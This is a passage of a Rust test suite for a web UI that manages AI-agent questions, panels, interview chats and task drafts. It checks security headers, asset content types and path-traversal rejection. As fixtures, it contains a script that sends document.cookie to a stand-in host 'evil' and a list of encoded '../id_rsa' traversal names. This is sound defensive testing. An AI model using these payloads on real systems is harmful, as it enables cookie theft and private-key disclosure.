4345         roster four hundred times pays four hundred parses of the same file.\n\n\
4346         ## What\n\n\
4347         Load the layers once when the run starts and hand the merged value \
4348         around. Nothing about the file format changes.\n\n\
4349         ## Acceptance criteria\n\n\
4350         - `Config::discover` is called exactly once per run.\n\
4351         - `cargo test` passes with no change to any existing assertion.\n"
4352            .to_owned()
4353    }
4354
4355    #[tokio::test]
4356    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4357        let fx = Fixture::start().await;
4358        let id = panel(
4359            &fx,
4360            "<h1>Merge?</h1><img src=\"diff.svg\">",
4361            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4362        );
4363
4364        for path in [
4365            format!("/api/questions/{id}/panel"),
4366            format!("/api/questions/{id}/asset/diff.svg"),
4367        ] {
4368            let res = fx.get(&path).await;
4369            assert_eq!(res.status, 200, "{path}: {}", res.body);
4370            // The whole string, not a substring. A weakened directive - an
4371            // `img-src *` that lets a panel beacon out to a remote host, a
4372            // `script-src` anything, a missing `form-action` that lets it post
4373            // the owner's decision to a third party - has to fail here, and a
4374            // `contains` assertion would let every one of those through.
4375            assert_eq!(
4376                res.header("content-security-policy"),
4377                Some(
4378                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4379                     font-src data:; base-uri 'none'; form-action 'none'; \
4380                     frame-ancestors 'self'"
4381                ),
4382                "{path} is the only thing between a hostile panel and the tailnet"
4383            );
4384            assert_eq!(
4385                res.header("x-content-type-options"),
4386                Some("nosniff"),
4387                "{path}: a browser must not re-decide the type we sent"
4388            );
4389            assert_eq!(
4390                res.header("referrer-policy"),
4391                Some("no-referrer"),
4392                "{path}: a panel must not leak the question id off the machine"
4393            );
4394
4395            // The front end mounts the frame only after a `HEAD` says the
4396            // panel is there, so `HEAD` has to answer with the same status and
4397            // the same policy as `GET` - a preflight that came back without
4398            // the CSP would mean a frame mounted on an unverified promise.
4399            let pre = fx.head(&path).await;
4400            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4401            assert_eq!(
4402                pre.header("content-security-policy"),
4403                res.header("content-security-policy"),
4404                "{path}: the preflight carries the same policy"
4405            );
4406            assert_eq!(
4407                pre.header("content-type"),
4408                res.header("content-type"),
4409                "{path}: the preflight carries the same type"
4410            );
4411        }
4412    }
4413
4414    #[tokio::test]
4415    async fn a_panel_reaches_the_browser_byte_for_byte() {
4416        let fx = Fixture::start().await;
4417        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4418        // tag, an entity, and a multi-byte character. The sandbox is what makes
4419        // this safe, so nothing here may be rewritten on the way out - a
4420        // rewritten diff is a diff the owner cannot trust.
4421        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4422        let id = panel(&fx, html, &[]);
4423
4424        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4425
4426        assert_eq!(res.status, 200);
4427        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4428        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4429        assert_eq!(
4430            res.header("content-disposition"),
4431            None,
4432            "the panel itself is rendered in the frame, not downloaded"
4433        );
4434    }
4435
4436    #[tokio::test]
4437    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4438        let fx = Fixture::start().await;
4439        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4440        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4441        let id = panel(
4442            &fx,
4443            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4444            &[("diff.svg", svg), ("shot.png", png)],
4445        );
4446
4447        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4448        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4449
4450        assert_eq!(as_svg.status, 200);
4451        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4452        // An SVG is XML that may carry script. Inside the panel it is an
4453        // `<img src>` and the script cannot run; opened at the top level it
4454        // would be a document on magi's own origin, so the browser is told to
4455        // download it instead of rendering it.
4456        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4457
4458        assert_eq!(as_png.status, 200);
4459        assert_eq!(as_png.header("content-type"), Some("image/png"));
4460        assert_eq!(
4461            as_png.header("content-disposition"),
4462            None,
4463            "a raster image has no execution surface, so tapping it still shows it"
4464        );
4465        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4466    }
4467
4468    #[tokio::test]
4469    async fn an_html_asset_is_never_served_as_html() {
4470        let fx = Fixture::start().await;
4471        let id = panel(
4472            &fx,
4473            "<p>see the notes</p>",
4474            &[
4475                (
4476                    "notes.html",
4477                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4478                ),
4479                ("hook.js", b"fetch('http://evil/')"),
4480                ("data.json", b"{}"),
4481                ("HEADLINE.TXT", b"plain"),
4482            ],
4483        );
4484
4485        for name in ["notes.html", "hook.js", "data.json"] {
4486            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4487            assert_eq!(res.status, 200, "{name}: {}", res.body);
4488            // Serving this as text/html would be a way to reach agent markup
4489            // at the top level of the operator's browser, outside the frame's
4490            // sandbox and outside its CSP - which is the whole thing the panel
4491            // design exists to prevent. Unlisted types are downloads.
4492            assert_eq!(
4493                res.header("content-type"),
4494                Some("application/octet-stream"),
4495                "{name} must not be a type the browser will execute or render"
4496            );
4497        }
4498        // The whitelist is matched case-insensitively, so an agent shouting the
4499        // extension still gets a readable file rather than a download.
4500        let txt = fx
4501            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4502            .await;
4503        assert_eq!(
4504            txt.header("content-type"),
4505            Some("text/plain; charset=utf-8")
4506        );
4507    }
4508
4509    #[tokio::test]
4510    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4511        let fx = Fixture::start().await;
4512        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4513        // Something outside the panel directory that a traversal would reach if
4514        // one got through, so a passing test is not merely "the file was
4515        // missing anyway".
4516        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4517
4518        // Decoded before this server's handler sees them: axum percent-decodes
4519        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4520        // string with a NUL in it. All three look like ordinary single-segment
4521        // filenames to the router, so the router passes them through and
4522        // `valid_asset_name` is what refuses them - for the literal `..`, and
4523        // for `/`, `\` and NUL not being in the permitted character set.
4524        for encoded in [
4525            "%2e%2e%2fid_rsa",
4526            "..%2fid_rsa",
4527            "..%5cid_rsa",
4528            "%2e%2e%5cid_rsa",
4529            "diff%00.svg",
4530            "..",
4531            ".hidden",
4532            "%2e%2e%2f%2e%2e%2fid_rsa",
4533        ] {
4534            let res = fx
4535                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4536                .await;
4537            assert_eq!(
4538                res.status, 400,
4539                "`{encoded}` has to be refused by name, not looked up: {}",
4540                res.body
4541            );
4542            assert!(res.json()["error"].is_string(), "{}", res.body);
4543        }
4544
4545        // Not decoded, and never this handler's problem: a real slash makes the
4546        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4547        // so axum's router has no route to match and answers before any code
4548        // here runs. Asserted so that a future route with a wildcard segment
4549        // cannot quietly open this door.
4550        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4551            let res = fx
4552                .get(&format!("/api/questions/{id}/asset/{literal}"))
4553                .await;
4554            assert_eq!(
4555                res.status, 404,
4556                "`{literal}` must not match the asset route at all: {}",
4557                res.body
4558            );
4559        }
4560    }
4561
4562    #[tokio::test]
4563    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4564        let fx = Fixture::start().await;
4565        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4566        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4567
4568        // A question nobody wrote a panel for. The client preflights with HEAD
4569        // and cannot see inside a sandboxed frame, so this must be a status and
4570        // not an empty page.
4571        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4572        assert_eq!(none.status, 404, "{}", none.body);
4573        assert!(none.json()["error"].is_string(), "{}", none.body);
4574        assert_eq!(
4575            fx.head(&format!("/api/questions/{plain}/panel"))
4576                .await
4577                .status,
4578            404,
4579            "the preflight is the only way the client can learn this"
4580        );
4581
4582        // A name that is perfectly legal and simply is not there.
4583        let missing = fx
4584            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4585            .await;
4586        assert_eq!(missing.status, 404, "{}", missing.body);
4587        assert!(missing.json()["error"].is_string(), "{}", missing.body);
4588
4589        // A question that does not exist at all, on both routes.
4590        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4591        assert_eq!(
4592            fx.get("/api/questions/nope/asset/diff.svg").await.status,
4593            404
4594        );
4595    }
4596
4597    #[tokio::test]
4598    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
4599        let fx = Fixture::start().await;
4600        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4601
4602        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
4603        interview(&fx, "20260903-014456-open", "open", None);
4604
4605        let listed = fx.get("/api/chats").await;
4606        assert_eq!(listed.status, 200, "{}", listed.body);
4607        let chats = listed.json();
4608        assert_eq!(chats.as_array().map(Vec::len), Some(2));
4609        assert_eq!(
4610            chats[0]["id"], "20260903-014456-open",
4611            "an unfinished interview is what the operator came back for: {chats}"
4612        );
4613        assert_eq!(chats[0]["status"], "open");
4614        // The transcript is the only thing a chat is made of, so the list
4615        // carries it rather than making the phone fetch each one.
4616        assert_eq!(chats[0]["turns"][0]["who"], "operator");
4617        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
4618        assert_eq!(chats[1]["status"], "filed");
4619
4620        // The one number that says "you left an interview open"; a filed one
4621        // has become a task and must not keep counting.
4622        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
4623    }
4624
4625    #[tokio::test]
4626    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
4627        let fx = Fixture::start().await;
4628        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4629
4630        let full = fx.get(&format!("/api/chats/{id}")).await;
4631        assert_eq!(full.status, 200, "{}", full.body);
4632        assert_eq!(full.json()["id"], id);
4633        assert_eq!(full.json()["repo"], "/repo/magi");
4634
4635        // The short id is what the operator reads off a notification.
4636        let short = fx.get("/api/chats/ab12").await;
4637        assert_eq!(short.status, 200, "{}", short.body);
4638        assert_eq!(short.json()["id"], id);
4639
4640        let missing = fx.get("/api/chats/nosuchchat").await;
4641        assert_eq!(missing.status, 404, "{}", missing.body);
4642        assert!(
4643            missing.json()["error"]
4644                .as_str()
4645                .is_some_and(|e| e.contains("chat")),
4646            "the error names what was not found: {}",
4647            missing.body
4648        );
4649    }
4650
4651    #[tokio::test]
4652    async fn filing_a_bad_draft_reports_every_problem_at_once() {
4653        let fx = Fixture::start().await;
4654        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
4655
4656        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4657
4658        assert_eq!(res.status, 400, "{}", res.body);
4659        let problems = res.json()["problems"].clone();
4660        let problems = problems.as_array().expect("an array of problems");
4661        // Every problem, not the first one. The operator is on a phone: a
4662        // draft with no title and no acceptance criteria is one edit, and
4663        // reporting it one problem per round trip means asking the interviewer
4664        // to rewrite it twice.
4665        assert!(
4666            problems.len() > 1,
4667            "one round trip has to be enough to fix the draft: {}",
4668            res.body
4669        );
4670        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
4671        assert!(res.json()["error"].is_string(), "{}", res.body);
4672        assert!(
4673            fx.queue().list().is_empty(),
4674            "a refused draft must not reach the queue"
4675        );
4676
4677        // An interview the agent has not drafted for at all is the same shape,
4678        // so the front end has one path rather than two.
4679        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
4680        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
4681        assert_eq!(res.status, 400, "{}", res.body);
4682        assert_eq!(
4683            res.json()["problems"].as_array().map(Vec::len),
4684            Some(1),
4685            "{}",
4686            res.body
4687        );
4688    }
4689
4690    #[tokio::test]
4691    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
4692        let fx = Fixture::start().await;
4693        let draft = good_draft();
4694        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
4695
4696        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
4697
4698        assert_eq!(res.status, 200, "{}", res.body);
4699        let task = res.json()["task"]
4700            .as_str()
4701            .unwrap_or_else(|| panic!("a task id: {}", res.body))
4702            .to_owned();
4703
4704        // The point of the whole browser interview: a real task in the real
4705        // queue, indistinguishable from one filed at a terminal.
4706        let queued = fx.queue().get(&task).expect("the task is on disk");
4707        assert_eq!(
4708            queued.instruction, draft,
4709            "the draft reaches the graph verbatim"
4710        );
4711        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
4712        assert_eq!(
4713            fx.get("/api/queue").await.json()[0]["id"],
4714            task,
4715            "the filed task is the listed one"
4716        );
4717
4718        // The interview is finished, so it stops asking to be finished.
4719        let after = fx.get(&format!("/api/chats/{id}")).await.json();
4720        assert_eq!(after["task"], task);
4721        assert_eq!(after["status"], "filed");
4722        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
4723    }
4724
4725    #[tokio::test]
4726    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
4727        let fx = Fixture::start().await;
4728        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4729        let ui = Ui::new(
4730            fx.queue(),
4731            fx.questions(),
4732            fx.chats(),
4733            fx.talks(),
4734            fx.runs(),
4735            fx.home.path().to_path_buf(),
4736            PathBuf::from("/repo/magi"),
4737        )
4738        .with_worktrees_root(fx.home.path().join("wt"));
4739
4740        // The claim a running `POST /say` holds. Taken directly rather than by
4741        // starting a turn, because a turn spawns an agent CLI and no test here
4742        // is allowed to do that.
4743        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
4744        let second = ui.begin_turn(&id).expect_err("the second must be refused");
4745        assert_eq!(
4746            second.status,
4747            StatusCode::CONFLICT,
4748            "a double tap on a slow link must not append two half-turns"
4749        );
4750
4751        // Dropped rather than released by hand, which is what makes a cancelled
4752        // request - a phone that walked out of range mid-turn - leave the chat
4753        // usable instead of wedged until the server restarts.
4754        drop(first);
4755        assert!(
4756            ui.begin_turn(&id).is_ok(),
4757            "the slot has to come back on its own"
4758        );
4759    }
4760
4761    #[tokio::test]
4762    async fn is_thinking_is_true_exactly_while_a_turn_guard_is_held() {
4763        let fx = Fixture::start().await;
4764        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4765        let ui = Ui::new(
4766            fx.queue(),
4767            fx.questions(),
4768            fx.chats(),
4769            fx.talks(),
4770            fx.runs(),
4771            fx.home.path().to_path_buf(),
4772            PathBuf::from("/repo/magi"),
4773        )
4774        .with_worktrees_root(fx.home.path().join("wt"));
4775
4776        assert!(!ui.is_thinking(&id), "nothing has claimed a turn yet");
4777
4778        let guard = ui.begin_turn(&id).expect("claim the turn");
4779        assert!(
4780            ui.is_thinking(&id),
4781            "`thinking` is exactly what `Ui::begin_turn` claims"
4782        );
4783        // An unrelated id must never read as thinking just because some other
4784        // chat is busy.
4785        assert!(!ui.is_thinking("20260903-014455-other"));
4786
4787        drop(guard);
4788        assert!(
4789            !ui.is_thinking(&id),
4790            "the claim's release, not a turn landing, is what this reflects"
4791        );
4792    }
4793
4794    #[tokio::test]
4795    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
4796        let fx = Fixture::start().await;
4797        let id = interview(&fx, "20260903-014455-ab12", "open", None);
4798
4799        // Refused on the request, before the chat is even resolved, so an
4800        // accidental send costs neither a model call nor a turn in the record.
4801        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
4802            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
4803            assert_eq!(res.status, 400, "{body}: {}", res.body);
4804        }
4805        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
4806        assert_eq!(res.status, 400, "{}", res.body);
4807
4808        assert_eq!(
4809            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
4810                .as_array()
4811                .map(Vec::len),
4812            Some(2),
4813            "nothing above may have appended a turn"
4814        );
4815    }
4816
4817    #[tokio::test]
4818    async fn a_run_with_an_open_question_reads_as_waiting() {
4819        let fx = Fixture::start().await;
4820        let run = "20260902-000000-beef".to_owned();
4821        write_run(&fx.runs(), &run, RunStatus::Implementing);
4822
4823        let before = fx.get("/api/runs").await.json();
4824        assert_eq!(before[0]["waiting"], false, "{before}");
4825
4826        let store = fx.questions();
4827        let mut q = Question::new(
4828            run.clone(),
4829            "implement".to_owned(),
4830            "impl-A".to_owned(),
4831            "Which backend?".to_owned(),
4832            String::new(),
4833            vec!["SQLite".to_owned()],
4834        );
4835        store.put(&mut q).expect("put");
4836
4837        let during = fx.get("/api/runs").await.json();
4838        assert_eq!(during[0]["waiting"], true, "{during}");
4839
4840        // Answered: the run is moving again, and the flag has to follow without
4841        // anything having rewritten run.json.
4842        q.answer(Answer::Choice("SQLite".to_owned()))
4843            .expect("answer");
4844        store.put(&mut q).expect("put");
4845        let after = fx.get("/api/runs").await.json();
4846        assert_eq!(after[0]["waiting"], false, "{after}");
4847    }
4848
4849    #[tokio::test]
4850    async fn an_open_question_is_listed_and_counted_by_health() {
4851        let fx = Fixture::start().await;
4852        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4853
4854        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4855        let listed = fx.get("/api/questions").await.json();
4856        assert_eq!(listed.as_array().expect("array").len(), 1);
4857        assert_eq!(listed[0]["id"], id);
4858        assert_eq!(listed[0]["status"], "open");
4859        assert_eq!(listed[0]["choices"][1], "Redis");
4860        // The count is what makes the phone's indicator honest: it is the one
4861        // number meaning nothing will move until a human acts.
4862        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4863    }
4864
4865    #[tokio::test]
4866    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4867        let fx = Fixture::start().await;
4868        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4869        let path = format!("/api/questions/{id}/answer");
4870
4871        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4872        assert_eq!(res.status, 200, "{}", res.body);
4873        let body = res.json();
4874        assert_eq!(body["status"], "answered");
4875        assert_eq!(body["answer"]["choice"], "Redis");
4876
4877        // Answered from the terminal in between the list and the tap: the UI
4878        // must be able to tell this from a bad request, so it can show the
4879        // recorded answer instead of an error.
4880        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4881        assert_eq!(again.status, 409, "{}", again.body);
4882        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4883    }
4884
4885    #[tokio::test]
4886    async fn saying_something_appends_a_turn_without_answering() {
4887        let fx = Fixture::start().await;
4888        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4889        let path = format!("/api/questions/{id}/say");
4890
4891        let res = fx
4892            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4893            .await;
4894        assert_eq!(res.status, 200, "{}", res.body);
4895        let body = res.json();
4896        assert_eq!(body["status"], "open", "talking back is not a decision");
4897        assert_eq!(body["answer"], Value::Null);
4898        assert_eq!(body["thread"][0]["who"], "operator");
4899        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4900        assert_eq!(body["waiting_on_agent"], true);
4901        // Still open, still counted, still exactly one question.
4902        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4903    }
4904
4905    #[tokio::test]
4906    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4907        let fx = Fixture::start().await;
4908        let store = fx.questions();
4909
4910        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4911        let res = fx
4912            .post(
4913                &format!("/api/questions/{empty_id}/say"),
4914                Some(r#"{"body":"   "}"#),
4915            )
4916            .await;
4917        assert_eq!(res.status, 400, "{}", res.body);
4918
4919        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4920        let mut answered = store.get(&answered_id).expect("get");
4921        answered
4922            .answer(Answer::Choice("SQLite".to_owned()))
4923            .expect("answer");
4924        store.put(&mut answered).expect("put");
4925        let res = fx
4926            .post(
4927                &format!("/api/questions/{answered_id}/say"),
4928                Some(r#"{"body":"still there?"}"#),
4929            )
4930            .await;
4931        assert_eq!(res.status, 409, "{}", res.body);
4932
4933        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4934        let mut abandoned = store.get(&abandoned_id).expect("get");
4935        abandoned.abandon("timed out");
4936        store.put(&mut abandoned).expect("put");
4937        let res = fx
4938            .post(
4939                &format!("/api/questions/{abandoned_id}/say"),
4940                Some(r#"{"body":"still there?"}"#),
4941            )
4942            .await;
4943        assert_eq!(res.status, 409, "{}", res.body);
4944    }
4945
4946    #[tokio::test]
4947    async fn an_answer_the_question_does_not_offer_is_refused() {
4948        let fx = Fixture::start().await;
4949        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4950        let path = format!("/api/questions/{id}/answer");
4951
4952        for body in [
4953            r#"{"choice":"Postgres"}"#,
4954            r#"{"text":"whatever you think"}"#,
4955            r#"{"choice":"Redis","text":"both"}"#,
4956            r#"{}"#,
4957        ] {
4958            let res = fx.post(&path, Some(body)).await;
4959            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4960            assert!(res.json()["error"].is_string(), "{}", res.body);
4961        }
4962        // Nothing above may have answered it.
4963        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4964    }
4965
4966    #[tokio::test]
4967    async fn a_free_text_question_takes_text_and_not_a_choice() {
4968        let fx = Fixture::start().await;
4969        let id = ask(&fx, "What should the flag be called?", &[]);
4970        let path = format!("/api/questions/{id}/answer");
4971
4972        assert_eq!(
4973            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4974            400
4975        );
4976        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4977        assert_eq!(res.status, 200, "{}", res.body);
4978        assert_eq!(res.json()["answer"]["text"], "--json");
4979    }
4980
4981    #[tokio::test]
4982    async fn an_unknown_question_is_a_json_404() {
4983        let fx = Fixture::start().await;
4984        let res = fx
4985            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4986            .await;
4987        assert_eq!(res.status, 404, "{}", res.body);
4988        assert!(res.json()["error"].is_string());
4989    }
4990
4991    /// Plan is the only entry for new work: an interview writes the task
4992    /// file, so the compose form and its `POST /api/queue` are gone. The
4993    /// three tests that covered that route's validation went with the route,
4994    /// and nothing was left asserting it stays gone — so a phone still
4995    /// holding the old form, or a re-added handler, would silently be back
4996    /// to filing briefs no interview ever validated.
4997    #[tokio::test]
4998    async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
4999        let f = Fixture::start().await;
5000
5001        let res = f
5002            .post(
5003                "/api/queue",
5004                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5005            )
5006            .await;
5007
5008        assert_eq!(
5009            res.status, 405,
5010            "POST /api/queue must not be a route: {}",
5011            res.body
5012        );
5013        assert!(
5014            f.queue().list().is_empty(),
5015            "a task that skipped the interview must not reach the disk"
5016        );
5017        // The path itself is still served — the Queue view reads it — and the
5018        // per-task controls are untouched by the entry being removed.
5019        assert_eq!(f.get("/api/queue").await.status, 200);
5020    }
5021
5022    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5023    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5024        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5025            .expect("checkout dir");
5026    }
5027
5028    #[tokio::test]
5029    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5030        let tmp = TempDir::new().expect("tempdir");
5031        let repo = tmp.path().join("repo");
5032        std::fs::create_dir_all(&repo).expect("repo dir");
5033        let root = tmp.path().join("root");
5034        make_checkout(&root, "github.com", "yukimemi", "magi");
5035        std::fs::write(
5036            repo.join("magi.toml"),
5037            format!(
5038                "[repos]\nroots = [{:?}]\n",
5039                root.to_string_lossy().into_owned()
5040            ),
5041        )
5042        .expect("write magi.toml");
5043
5044        let f = Fixture::with_repo(repo).await;
5045        let res = f.get("/api/repos").await;
5046        assert_eq!(res.status, 200, "{}", res.body);
5047        let list = res.json();
5048        let repos = list.as_array().expect("an array");
5049        assert_eq!(repos.len(), 1);
5050        assert_eq!(repos[0]["name"], "yukimemi/magi");
5051        assert!(
5052            repos[0]["path"]
5053                .as_str()
5054                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5055            "{list}"
5056        );
5057    }
5058
5059    #[tokio::test]
5060    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5061        let tmp = TempDir::new().expect("tempdir");
5062        let repo = tmp.path().join("repo");
5063        std::fs::create_dir_all(&repo).expect("repo dir");
5064        let root = tmp.path().join("root");
5065        make_checkout(&root, "github.com", "yukimemi", "magi");
5066        std::fs::write(
5067            repo.join("magi.toml"),
5068            format!(
5069                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5070                root.to_string_lossy().into_owned()
5071            ),
5072        )
5073        .expect("write magi.toml");
5074
5075        let f = Fixture::with_repo(repo).await;
5076        let first = f.get("/api/repos").await;
5077        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5078
5079        // A second checkout appears; within the TTL the cached answer must
5080        // not notice it.
5081        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5082        let second = f.get("/api/repos").await;
5083        assert_eq!(
5084            second.json().as_array().map(Vec::len),
5085            Some(1),
5086            "a fresh cache must not rescan inside the TTL"
5087        );
5088
5089        let refreshed = f.get("/api/repos?refresh=1").await;
5090        assert_eq!(
5091            refreshed.json().as_array().map(Vec::len),
5092            Some(2),
5093            "an explicit refresh must rescan even inside the TTL"
5094        );
5095    }
5096
5097    #[tokio::test]
5098    async fn draft_advisors_serves_the_raw_record_a_cli_plan_run_wrote() {
5099        let f = Fixture::start().await;
5100        let drafts = f.home.path().join("drafts");
5101        std::fs::create_dir_all(&drafts).expect("drafts dir");
5102        let record = r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1200}]}"#;
5103        std::fs::write(drafts.join("20260906-000000-ab12.advisors.json"), record)
5104            .expect("write advisor record");
5105
5106        let res = f.get("/api/drafts/20260906-000000-ab12/advisors").await;
5107        assert_eq!(res.status, 200, "{}", res.body);
5108        assert_eq!(res.json()["records"][0]["seat"], "advisor-1");
5109        assert!(
5110            res.json()["draft"].is_null(),
5111            "no .md on disk must read as no draft, not as an error: {}",
5112            res.body
5113        );
5114    }
5115
5116    /// Reported: the plan surface could read what each advisor argued but
5117    /// never what the planner actually kept - the half of the deliberation
5118    /// that answers "so what happened".
5119    #[tokio::test]
5120    async fn draft_advisors_includes_the_synthesized_task_file_the_deliberation_produced() {
5121        let f = Fixture::start().await;
5122        let drafts = f.home.path().join("drafts");
5123        std::fs::create_dir_all(&drafts).expect("drafts dir");
5124        std::fs::write(
5125            drafts.join("20260906-000000-mn34.advisors.json"),
5126            r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1}]}"#,
5127        )
5128        .unwrap();
5129        std::fs::write(
5130            drafts.join("20260906-000000-mn34.md"),
5131            "# Rework the config loader\n\n## Context\n\nadvisor-1 argued for X.\n\n## Completion criteria\n\n- [ ] it works\n",
5132        )
5133        .unwrap();
5134
5135        let res = f.get("/api/drafts/20260906-000000-mn34/advisors").await;
5136        assert_eq!(res.status, 200, "{}", res.body);
5137        let body = res.json();
5138        assert!(
5139            body["draft"]
5140                .as_str()
5141                .is_some_and(|d| d.contains("advisor-1 argued for X")),
5142            "{body}"
5143        );
5144        assert!(
5145            body["draft_md"].is_array(),
5146            "the draft must also arrive pre-parsed, like every other markdown surface: {body}"
5147        );
5148    }
5149
5150    #[tokio::test]
5151    async fn draft_advisors_404s_for_a_draft_with_no_deliberation_on_disk() {
5152        let f = Fixture::start().await;
5153        let res = f.get("/api/drafts/nosuchdraft/advisors").await;
5154        assert_eq!(res.status, 404, "{}", res.body);
5155    }
5156
5157    #[tokio::test]
5158    async fn drafts_list_surfaces_only_drafts_that_finished_deliberation_newest_first() {
5159        let f = Fixture::start().await;
5160        let drafts = f.home.path().join("drafts");
5161        std::fs::create_dir_all(&drafts).expect("drafts dir");
5162        // Older draft, with a title and two proposals.
5163        std::fs::write(
5164            drafts.join("20260901-000000-aaaa.md"),
5165            "# Rework the config loader\n",
5166        )
5167        .unwrap();
5168        std::fs::write(
5169            drafts.join("20260901-000000-aaaa.advisors.json"),
5170            r#"{"records":[
5171                {"seat":"advisor-1","agent":"a","duration_ms":1,
5172                 "proposal":{"approach":"x","key_tradeoff":"y","why_not_naive":"z"}},
5173                {"seat":"advisor-2","agent":"b","duration_ms":1,"error":"boom"}
5174            ]}"#,
5175        )
5176        .unwrap();
5177        // Newer draft, no title on disk (already filed and its .md removed).
5178        std::fs::write(
5179            drafts.join("20260902-000000-bbbb.advisors.json"),
5180            r#"{"records":[]}"#,
5181        )
5182        .unwrap();
5183        // A plain interview draft with no deliberation must not appear.
5184        std::fs::write(drafts.join("20260903-000000-cccc.md"), "# no advisors\n").unwrap();
5185
5186        let res = f.get("/api/drafts").await;
5187        assert_eq!(res.status, 200, "{}", res.body);
5188        let list = res.json();
5189        let rows = list.as_array().expect("an array");
5190        assert_eq!(rows.len(), 2, "{list}");
